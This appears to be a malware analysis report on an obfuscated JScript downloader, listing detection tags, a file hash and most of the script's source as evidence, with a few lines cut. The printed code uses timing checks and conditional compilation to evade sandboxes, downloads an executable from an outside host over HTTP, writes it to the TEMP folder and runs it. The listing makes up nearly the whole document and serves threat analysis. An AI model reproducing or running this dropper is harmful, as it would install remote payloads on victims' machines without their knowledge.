20160328_48c12d7877a0c2146599c409b80194b3.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256c073cff524c7d4f0448d22216abe680512ef8c7312fc8719c9a8f357eaaa3541
Evidence
1var Znfpkyoxx = false;
2var Rbqua = "CreateObject";
3var Xaehgtyd = function Ndeyasdopl() {return WScript[Rbqua]("WScript.Shell");}();
4var Myisv = 123213;
5var Ubbvoynb = "MSXML2.XMLHTTP";
6var Arqglpy = 2123213;
7var Stpim = 0;
8function Yrxmqwh(Gmofrbgz){Xaehgtyd["Run"](Gmofrbgz, Stpim, Stpim);};
9function Tokeixkqii(){return Ubbvoynb;};
10function Fpogdtnraf(Hdnbu, Tsttst){return Hdnbu - Tsttst;};
11function Rldphb(){return Rbqua;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Znfpkyoxx = true;
15 @end
16@*/
17var Lifwym = "";
18if (Znfpkyoxx)
19{
20function Ebqlrci(){return 22;};
21var Mvkxdqdorb = 0; var Qjyyx = 0;
22function Dgmqzrmjc()
23{
24var Ygyyc = new this["Date"]();
25var Twrhkwxa = Ygyyc["getUTCMilliseconds"]();
26WScript["Sleep"](Ebqlrci());
27var Ygyyc = new this["Date"]();
28var Zqkamkclz = Ygyyc["getUTCMilliseconds"]();
29WScript["Sleep"](Ebqlrci());
30var Ygyyc = new this["Date"]();
31var Juxqjdzsom = Ygyyc["getUTCMilliseconds"]();
32var Mvkxdqdorb = "Hrlbfy";
33Mvkxdqdorb = Fpogdtnraf(Zqkamkclz, Twrhkwxa);
34var Qjyyx = "Icbmhedpqi";
35Qjyyx = Fpogdtnraf(Juxqjdzsom, Zqkamkclz);
36Lifwym = "open";
37return Fpogdtnraf(Mvkxdqdorb, Qjyyx);
38}
39var Jkrnbsyf = false;
40var Rjyqonqow = false;
41for (var Pzvwld = Stpim; Pzvwld < Ebqlrci() * 1; Pzvwld++){if (Dgmqzrmjc() != Stpim){
42Jkrnbsyf = tru …
49:3… (Jkrnbsyf && Lllbtb() && Rjyqonqow){
50function Nkfjb() {return Xaehgtyd["ExpandEnvironmentStrings"]("%TEMP%/") + "5F8ZXATe.exe";};
51 Lcsfpuhip = Tokeixkqii();
52 Ffnfmtkbc = WScript[Rbqua](Lcsfpuhip);
53 var Mpcgiw = 1;
54 while (Mpcgiw){
55try {
56Ffnfmtkbc[Lifwym]("GET", "http://portal.ofar.com.br/o4psaf", false);
57Ffnfmtkbc["send"]();
58Aczece = "Sleep";
59do {WScript[Aczece](Ebqlrci() * 11)} while (Ffnfmtkbc["readystate"] < 4 );
60Mpcgiw = Stpim;
61} catch(Jgsqahyft){Mpcgiw = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Wcpto(Duegsybh) {var Zipxqitib = (1, 2, 3, 4, 5, Duegsybh); return Zipxqitib;};
64Zfqkufcvdx = WScript[Rldphb()]("ADODB.Stream");
65Lcsfpuhip = Zfqkufcvdx;
66Lcsfpuhip[Lifwym]();
67Lcsfpuhip["type"] = Wcpto(1);
68Lcsfpuhip["write"](Ffnfmtkbc["ResponseBody"]);
69Zfqkufcvdx["position"] = Wcpto(Stpim);
70Lcsfpuhip["SaveToFile"](Nkfjb(), Wcpto(2) );
71Zfqkufcvdx["close"]();
72Yrxmqwh(Nkfjb());
73}
74}
75